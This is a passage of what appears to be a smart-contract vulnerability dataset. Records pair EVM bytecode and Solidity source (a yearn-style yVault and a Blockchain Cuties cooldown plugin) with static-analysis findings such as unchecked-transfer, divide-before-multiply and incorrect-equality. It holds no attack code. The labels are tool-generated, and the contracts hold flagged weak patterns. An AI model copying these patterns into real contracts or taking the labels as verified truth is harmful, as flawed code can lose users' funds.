385600463ffffffff61077916565b92505b6006546102ff906201518002600363ffffffff61077916565b600554014210156103335761032c600361032087600a63ffffffff61077916565b9063ffffffff61074e16565b93506103ed565b60065461034c906201518002600363ffffffff61077916565b600554014210158015610381575061037a60026103206003600654620151800261077990919063ffffffff16565b6005540142105b156103975761032c85600563ffffffff61077916565b6103b760026103206003600654620151800261077990919063ffffffff16565b6005540142101580156103d4575060065462015180026005540142105b156103ed576103ea85600a63ffffffff61077916565b93505b6103fd858463ffffffff61079016565b915061040f828563ffffffff61079016565b600454909250600160a060020a031663a9059cbb338460405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561046857600080fd5b5af1151561047557600080fd5b505050604051805190505061049a60646101cb6002548861074e90919063ffffffff16565b600454600354919250600160a060020a039081169163a9059cbb91168360405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156104fa57600080fd5b5af1151561050757600080fd5b505050604051805150505050505050565b60005433600160a060020a0390811691161461053357600080fd5b600a805460ff19166001179055565b600054600160a060020a031681565b60005433600160a060020a0390811691161461056c57600080fd5b600454600160a060020a03166342966c688260405160e060020a63ffffffff84160281526004810191909152602401600060405180830381600087803b15156105b457600080fd5b5af115156105c157600080fd5b50505050565b60005433600160a060020a039081169116146105e257600080fd5b600a805460ff19169055565b60055442118015610609575060065462015180026005540142105b8061062a57506008544211801561062a575060095462015180026008540142105b151561063557600080fd5b60005433600160a060020a0390811691161461065057600080fd5b600454600754600160a060020a039091169063a9059cbb908490610682908590610320906103e863ffffffff61077916565b60405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156106c557600080fd5b5af115156106d257600080fd5b505050604051805150505050565b60005433600160a060020a039081169116146106fb57600080fd5b600160a060020a038116151561071057600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600454600160a060020a031681565b600082820283158061076a575082848281151561076757fe5b04145b151561077257fe5b9392505050565b600080828481151561078757fe5b04949350505050565b60008282018381101561077257fe00a165627a7a72305820c110a40d6fbab6ed1d7bde40c59284ee42162029ecd68e0982e5b4e7194f816c0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 9,137 |
0xba6dc9ad51aaf1b1626b51a0e22808609f6d12bd
|
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface Controller {
function withdraw(address, uint) external;
function balanceOf(address) external view returns (uint);
function earn(address, uint) external;
}
contract yVault is ERC20, ERC20Detailed {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
IERC20 public token;
uint public min = 9990;
uint public constant max = 10000;
address public governance;
address public controller;
constructor (address _token, address _controller) public ERC20Detailed(
string(abi.encodePacked("yearn ", ERC20Detailed(_token).name())),
string(abi.encodePacked("y", ERC20Detailed(_token).symbol())),
ERC20Detailed(_token).decimals()
) {
token = IERC20(_token);
governance = msg.sender;
controller = _controller;
}
function balance() public view returns (uint) {
return token.balanceOf(address(this))
.add(Controller(controller).balanceOf(address(token)));
}
function setMin(uint _min) external {
require(msg.sender == governance, "!governance");
min = _min;
}
function setGovernance(address _governance) public {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function setController(address _controller) public {
require(msg.sender == governance, "!governance");
controller = _controller;
}
// Custom logic in here for how much the vault allows to be borrowed
// Sets minimum required on-hand to keep small withdrawals cheap
function available() public view returns (uint) {
return token.balanceOf(address(this)).mul(min).div(max);
}
function earn() public {
uint _bal = available();
token.safeTransfer(controller, _bal);
Controller(controller).earn(address(token), _bal);
}
function depositAll() external {
deposit(token.balanceOf(msg.sender));
}
function deposit(uint _amount) public {
uint _pool = balance();
uint _before = token.balanceOf(address(this));
token.safeTransferFrom(msg.sender, address(this), _amount);
uint _after = token.balanceOf(address(this));
_amount = _after.sub(_before); // Additional check for deflationary tokens
uint shares = 0;
if (totalSupply() == 0) {
shares = _amount;
} else {
shares = (_amount.mul(totalSupply())).div(_pool);
}
_mint(msg.sender, shares);
}
function withdrawAll() external {
withdraw(balanceOf(msg.sender));
}
// No rebalance implementation for lower fees and faster swaps
function withdraw(uint _shares) public {
uint r = (balance().mul(_shares)).div(totalSupply());
_burn(msg.sender, _shares);
// Check balance
uint b = token.balanceOf(address(this));
if (b < r) {
uint _withdraw = r.sub(b);
Controller(controller).withdraw(address(token), _withdraw);
uint _after = token.balanceOf(address(this));
uint _diff = _after.sub(b);
if (_diff < _withdraw) {
r = b.add(_diff);
}
}
token.safeTransfer(msg.sender, r);
}
function getPricePerFullShare() public view returns (uint) {
return balance().mul(1e18).div(totalSupply());
}
}
|
0x608060405234801561001057600080fd5b50600436106101a95760003560e01c8063853828b6116100f9578063b6b55f2511610097578063de5f626811610071578063de5f6268146104b2578063f77c4791146104ba578063f8897945146104c2578063fc0c546a146104ca576101a9565b8063b6b55f251461045f578063d389800f1461047c578063dd62ed3e14610484576101a9565b8063a457c2d7116100d3578063a457c2d7146103d9578063a9059cbb14610405578063ab033ea914610431578063b69ef8a814610457576101a9565b8063853828b6146103a357806392eefe9b146103ab57806395d89b41146103d1576101a9565b806339509351116101665780635aa6e675116101405780635aa6e675146103495780636ac5db191461036d57806370a082311461037557806377c7b8fc1461039b576101a9565b806339509351146102f857806345dc3dd81461032457806348a0d75414610341576101a9565b806306fdde03146101ae578063095ea7b31461022b57806318160ddd1461026b57806323b872dd146102855780632e1a7d4d146102bb578063313ce567146102da575b600080fd5b6101b66104d2565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101f05781810151838201526020016101d8565b50505050905090810190601f16801561021d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102576004803603604081101561024157600080fd5b506001600160a01b038135169060200135610568565b604080519115158252519081900360200190f35b610273610586565b60408051918252519081900360200190f35b6102576004803603606081101561029b57600080fd5b506001600160a01b0381358116916020810135909116906040013561058c565b6102d8600480360360208110156102d157600080fd5b5035610619565b005b6102e2610838565b6040805160ff9092168252519081900360200190f35b6102576004803603604081101561030e57600080fd5b506001600160a01b038135169060200135610841565b6102d86004803603602081101561033a57600080fd5b5035610895565b6102736108e7565b61035161099d565b604080516001600160a01b039092168252519081900360200190f35b6102736109ac565b6102736004803603602081101561038b57600080fd5b50356001600160a01b03166109b2565b6102736109cd565b6102d86109ee565b6102d8600480360360208110156103c157600080fd5b50356001600160a01b0316610a01565b6101b6610a70565b610257600480360360408110156103ef57600080fd5b506001600160a01b038135169060200135610ad1565b6102576004803603604081101561041b57600080fd5b506001600160a01b038135169060200135610b3f565b6102d86004803603602081101561044757600080fd5b50356001600160a01b0316610b53565b610273610bc2565b6102d86004803603602081101561047557600080fd5b5035610cce565b6102d8610e4e565b6102736004803603604081101561049a57600080fd5b506001600160a01b0381358116916020013516610ef4565b6102d8610f1f565b610351610fa1565b610273610fb0565b610351610fb6565b60038054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561055e5780601f106105335761010080835404028352916020019161055e565b820191906000526020600020905b81548152906001019060200180831161054157829003601f168201915b5050505050905090565b600061057c610575610fca565b8484610fce565b5060015b92915050565b60025490565b60006105998484846110ba565b61060f846105a5610fca565b61060a85604051806060016040528060288152602001611991602891396001600160a01b038a166000908152600160205260408120906105e3610fca565b6001600160a01b03168152602081019190915260400160002054919063ffffffff61121616565b610fce565b5060019392505050565b600061064a610626610586565b61063e84610632610bc2565b9063ffffffff6112ad16565b9063ffffffff61130d16565b9050610656338361134f565b600554604080516370a0823160e01b8152306004820152905160009261010090046001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156106a657600080fd5b505afa1580156106ba573d6000803e3d6000fd5b505050506040513d60208110156106d057600080fd5b50519050818110156108175760006106ee838363ffffffff61144b16565b6008546005546040805163f3fef3a360e01b81526001600160a01b036101009093048316600482015260248101859052905193945091169163f3fef3a39160448082019260009290919082900301818387803b15801561074d57600080fd5b505af1158015610761573d6000803e3d6000fd5b5050600554604080516370a0823160e01b81523060048201529051600094506101009092046001600160a01b031692506370a08231916024808301926020929190829003018186803b1580156107b657600080fd5b505afa1580156107ca573d6000803e3d6000fd5b505050506040513d60208110156107e057600080fd5b5051905060006107f6828563ffffffff61144b16565b90508281101561081357610810848263ffffffff61148d16565b94505b5050505b6005546108339061010090046001600160a01b031633846114e7565b505050565b60055460ff1690565b600061057c61084e610fca565b8461060a856001600061085f610fca565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549063ffffffff61148d16565b6007546001600160a01b031633146108e2576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600655565b600061099861271061063e600654600560019054906101000a90046001600160a01b03166001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561096057600080fd5b505afa158015610974573d6000803e3d6000fd5b505050506040513d602081101561098a57600080fd5b50519063ffffffff6112ad16565b905090565b6007546001600160a01b031681565b61271081565b6001600160a01b031660009081526020819052604090205490565b60006109986109da610586565b61063e670de0b6b3a7640000610632610bc2565b6109ff6109fa336109b2565b610619565b565b6007546001600160a01b03163314610a4e576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600880546001600160a01b0319166001600160a01b0392909216919091179055565b60048054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561055e5780601f106105335761010080835404028352916020019161055e565b600061057c610ade610fca565b8461060a85604051806060016040528060258152602001611a4d6025913960016000610b08610fca565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919063ffffffff61121616565b600061057c610b4c610fca565b84846110ba565b6007546001600160a01b03163314610ba0576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600780546001600160a01b0319166001600160a01b0392909216919091179055565b600854600554604080516370a0823160e01b81526001600160a01b036101009093048316600482015290516000936109989316916370a08231916024808301926020929190829003018186803b158015610c1b57600080fd5b505afa158015610c2f573d6000803e3d6000fd5b505050506040513d6020811015610c4557600080fd5b5051600554604080516370a0823160e01b815230600482015290516101009092046001600160a01b0316916370a0823191602480820192602092909190829003018186803b158015610c9657600080fd5b505afa158015610caa573d6000803e3d6000fd5b505050506040513d6020811015610cc057600080fd5b50519063ffffffff61148d16565b6000610cd8610bc2565b600554604080516370a0823160e01b815230600482015290519293506000926101009092046001600160a01b0316916370a0823191602480820192602092909190829003018186803b158015610d2d57600080fd5b505afa158015610d41573d6000803e3d6000fd5b505050506040513d6020811015610d5757600080fd5b5051600554909150610d799061010090046001600160a01b0316333086611539565b600554604080516370a0823160e01b8152306004820152905160009261010090046001600160a01b0316916370a08231916024808301926020929190829003018186803b158015610dc957600080fd5b505afa158015610ddd573d6000803e3d6000fd5b505050506040513d6020811015610df357600080fd5b50519050610e07818363ffffffff61144b16565b93506000610e13610586565b610e1e575083610e3d565b610e3a8461063e610e2d610586565b889063ffffffff6112ad16565b90505b610e473382611599565b5050505050565b6000610e586108e7565b600854600554919250610e839161010090046001600160a01b0390811691168363ffffffff6114e716565b6008546005546040805163b02bf4b960e01b81526101009092046001600160a01b03908116600484015260248301859052905192169163b02bf4b99160448082019260009290919082900301818387803b158015610ee057600080fd5b505af1158015610e47573d6000803e3d6000fd5b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b600554604080516370a0823160e01b815233600482015290516109ff9261010090046001600160a01b0316916370a08231916024808301926020929190829003018186803b158015610f7057600080fd5b505afa158015610f84573d6000803e3d6000fd5b505050506040513d6020811015610f9a57600080fd5b5051610cce565b6008546001600160a01b031681565b60065481565b60055461010090046001600160a01b031681565b3390565b6001600160a01b0383166110135760405162461bcd60e51b81526004018080602001828103825260248152602001806119ff6024913960400191505060405180910390fd5b6001600160a01b0382166110585760405162461bcd60e51b81526004018080602001828103825260228152602001806119286022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166110ff5760405162461bcd60e51b81526004018080602001828103825260258152602001806119da6025913960400191505060405180910390fd5b6001600160a01b0382166111445760405162461bcd60e51b81526004018080602001828103825260238152602001806118e36023913960400191505060405180910390fd5b6111878160405180606001604052806026815260200161194a602691396001600160a01b038616600090815260208190526040902054919063ffffffff61121616565b6001600160a01b0380851660009081526020819052604080822093909355908416815220546111bc908263ffffffff61148d16565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600081848411156112a55760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561126a578181015183820152602001611252565b50505050905090810190601f1680156112975780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000826112bc57506000610580565b828202828482816112c957fe5b04146113065760405162461bcd60e51b81526004018080602001828103825260218152602001806119706021913960400191505060405180910390fd5b9392505050565b600061130683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611689565b6001600160a01b0382166113945760405162461bcd60e51b81526004018080602001828103825260218152602001806119b96021913960400191505060405180910390fd5b6113d781604051806060016040528060228152602001611906602291396001600160a01b038516600090815260208190526040902054919063ffffffff61121616565b6001600160a01b038316600090815260208190526040902055600254611403908263ffffffff61144b16565b6002556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b600061130683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611216565b600082820183811015611306576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b1790526108339084906116ee565b604080516001600160a01b0385811660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b1790526115939085906116ee565b50505050565b6001600160a01b0382166115f4576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600254611607908263ffffffff61148d16565b6002556001600160a01b038216600090815260208190526040902054611633908263ffffffff61148d16565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b600081836116d85760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561126a578181015183820152602001611252565b5060008385816116e457fe5b0495945050505050565b611700826001600160a01b03166118a6565b611751576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b6020831061178f5780518252601f199092019160209182019101611770565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146117f1576040519150601f19603f3d011682016040523d82523d6000602084013e6117f6565b606091505b50915091508161184d576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b8051156115935780806020019051602081101561186957600080fd5b50516115935760405162461bcd60e51b815260040180806020018281038252602a815260200180611a23602a913960400191505060405180910390fd5b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47081158015906118da5750808214155b94935050505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573735361666545524332303a204552433230206f7065726174696f6e20646964206e6f74207375636365656445524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a723158204b0e10b412d76989585be6af305257b8cfaf9cd38d1f5943463c62c4a467551764736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 9,138 |
0xb35de956ee39898f08b95a4407aa6ff412db8e45
|
pragma solidity ^0.4.20;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
/// @author https://BlockChainArchitect.iocontract Bank is CutiePluginBase
contract PluginInterface
{
/// @dev simply a boolean to indicate this is the contract we expect to be
function isPluginInterface() public pure returns (bool);
function onRemove() public;
/// @dev Begins new feature.
/// @param _cutieId - ID of token to auction, sender must be owner.
/// @param _parameter - arbitrary parameter
/// @param _seller - Old owner, if not the message sender
function run(
uint40 _cutieId,
uint256 _parameter,
address _seller
)
public
payable;
/// @dev Begins new feature, approved and signed by COO.
/// @param _cutieId - ID of token to auction, sender must be owner.
/// @param _parameter - arbitrary parameter
function runSigned(
uint40 _cutieId,
uint256 _parameter,
address _owner
)
external
payable;
function withdraw() public;
}
contract CutieCoreInterface
{
function isCutieCore() pure public returns (bool);
function transferFrom(address _from, address _to, uint256 _cutieId) external;
function transfer(address _to, uint256 _cutieId) external;
function ownerOf(uint256 _cutieId)
external
view
returns (address owner);
function getCutie(uint40 _id)
external
view
returns (
uint256 genes,
uint40 birthTime,
uint40 cooldownEndTime,
uint40 momId,
uint40 dadId,
uint16 cooldownIndex,
uint16 generation
);
function getGenes(uint40 _id)
public
view
returns (
uint256 genes
);
function getCooldownEndTime(uint40 _id)
public
view
returns (
uint40 cooldownEndTime
);
function getCooldownIndex(uint40 _id)
public
view
returns (
uint16 cooldownIndex
);
function getGeneration(uint40 _id)
public
view
returns (
uint16 generation
);
function getOptional(uint40 _id)
public
view
returns (
uint64 optional
);
function changeGenes(
uint40 _cutieId,
uint256 _genes)
public;
function changeCooldownEndTime(
uint40 _cutieId,
uint40 _cooldownEndTime)
public;
function changeCooldownIndex(
uint40 _cutieId,
uint16 _cooldownIndex)
public;
function changeOptional(
uint40 _cutieId,
uint64 _optional)
public;
function changeGeneration(
uint40 _cutieId,
uint16 _generation)
public;
}
/// @author https://BlockChainArchitect.iocontract Bank is CutiePluginBase
contract CutiePluginBase is PluginInterface, Pausable
{
function isPluginInterface() public pure returns (bool)
{
return true;
}
// Reference to contract tracking NFT ownership
CutieCoreInterface public coreContract;
// Cut owner takes on each auction, measured in basis points (1/100 of a percent).
// Values 0-10,000 map to 0%-100%
uint16 public ownerFee;
// @dev Throws if called by any account other than the owner.
modifier onlyCore() {
require(msg.sender == address(coreContract));
_;
}
/// @dev Constructor creates a reference to the NFT ownership contract
/// and verifies the owner cut is in the valid range.
/// @param _coreAddress - address of a deployed contract implementing
/// the Nonfungible Interface.
/// @param _fee - percent cut the owner takes on each auction, must be
/// between 0-10,000.
function setup(address _coreAddress, uint16 _fee) public {
require(_fee <= 10000);
require(msg.sender == owner);
ownerFee = _fee;
CutieCoreInterface candidateContract = CutieCoreInterface(_coreAddress);
require(candidateContract.isCutieCore());
coreContract = candidateContract;
}
// @dev Set the owner's fee.
// @param fee should be between 0-10,000.
function setFee(uint16 _fee) public
{
require(_fee <= 10000);
require(msg.sender == owner);
ownerFee = _fee;
}
/// @dev Returns true if the claimant owns the token.
/// @param _claimant - Address claiming to own the token.
/// @param _cutieId - ID of token whose ownership to verify.
function _isOwner(address _claimant, uint40 _cutieId) internal view returns (bool) {
return (coreContract.ownerOf(_cutieId) == _claimant);
}
/// @dev Escrows the NFT, assigning ownership to this contract.
/// Throws if the escrow fails.
/// @param _owner - Current owner address of token to escrow.
/// @param _cutieId - ID of token whose approval to verify.
function _escrow(address _owner, uint40 _cutieId) internal {
// it will throw if transfer fails
coreContract.transferFrom(_owner, this, _cutieId);
}
/// @dev Transfers an NFT owned by this contract to another address.
/// Returns true if the transfer succeeds.
/// @param _receiver - Address to transfer NFT to.
/// @param _cutieId - ID of token to transfer.
function _transfer(address _receiver, uint40 _cutieId) internal {
// it will throw if transfer fails
coreContract.transfer(_receiver, _cutieId);
}
/// @dev Computes owner's cut of a sale.
/// @param _price - Sale price of NFT.
function _computeFee(uint128 _price) internal view returns (uint128) {
// NOTE: We don't use SafeMath (or similar) in this function because
// all of our entry functions carefully cap the maximum values for
// currency (at 128-bits), and ownerFee <= 10000 (see the require()
// statement in the ClockAuction constructor). The result of this
// function is always guaranteed to be <= _price.
return _price * ownerFee / 10000;
}
function withdraw() public
{
require(
msg.sender == owner ||
msg.sender == address(coreContract)
);
if (address(this).balance > 0)
{
address(coreContract).transfer(address(this).balance);
}
}
function onRemove() public onlyCore
{
withdraw();
}
}
/// @title Item effect for Blockchain Cuties
/// @author https://BlockChainArchitect.io
contract CooldownDecreaseEffect is CutiePluginBase
{
function run(
uint40,
uint256,
address
)
public
payable
onlyCore
{
revert();
}
function runSigned(
uint40 _cutieId,
uint256 _parameter,
address /*_owner*/
)
external
onlyCore
whenNotPaused
payable
{
uint16 cooldownIndex = coreContract.getCooldownIndex(_cutieId);
require(cooldownIndex > 0);
if (cooldownIndex > _parameter)
{
cooldownIndex -= uint16(_parameter);
}
else
{
cooldownIndex = 0;
}
coreContract.changeCooldownIndex(_cutieId, cooldownIndex);
}
}
|
